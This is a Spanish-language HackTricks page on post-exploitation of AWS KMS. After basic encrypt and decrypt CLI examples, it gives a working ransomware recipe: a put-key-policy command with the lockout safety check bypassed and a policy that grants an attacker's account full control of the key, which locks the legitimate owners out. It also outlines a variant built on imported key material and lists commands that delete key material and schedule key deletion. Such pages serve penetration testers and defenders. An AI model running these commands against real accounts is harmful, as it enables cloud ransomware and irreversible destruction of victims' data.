AWS - KMS Post Exploitation

Apoya a HackTricks

KMS

Para más información consulta:

AWS - KMS Enum

Cifrar/Descifrar información

Ten en cuenta que si deseas descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64.

  • Usando una clave simétrica

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Usando una clave asimétrica:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y otorgar acceso a su cuenta sobre ellas, eliminando el acceso otorgado a la cuenta legítima.

Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido cifrado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta.

Note que las claves administradas por AWS no se ven afectadas por este ataque, solo las claves administradas por el cliente.

También note la necesidad de usar el parámetro --bypass-policy-lockout-safety-check (la falta de esta opción en la consola web hace que este ataque solo sea posible desde la CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Tenga en cuenta que si cambia esa política y solo da acceso a una cuenta externa, y luego desde esta cuenta externa intenta establecer una nueva política para devolver el acceso a la cuenta original, no podrá.

Ransomware KMS Genérico

Ransomware KMS Global

Hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos:

  • Crear una nueva clave con un material de clave importado por el atacante

  • Reencriptar datos antiguos encriptados con la versión anterior con la nueva.

  • Eliminar la clave KMS

  • Ahora solo el atacante, que tiene el material de clave original, podría ser capaz de desencriptar los datos encriptados

Destruir claves

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Tenga en cuenta que AWS ahora previene que las acciones anteriores se realicen desde una cuenta cruzada:

Apoya a HackTricks

Last updated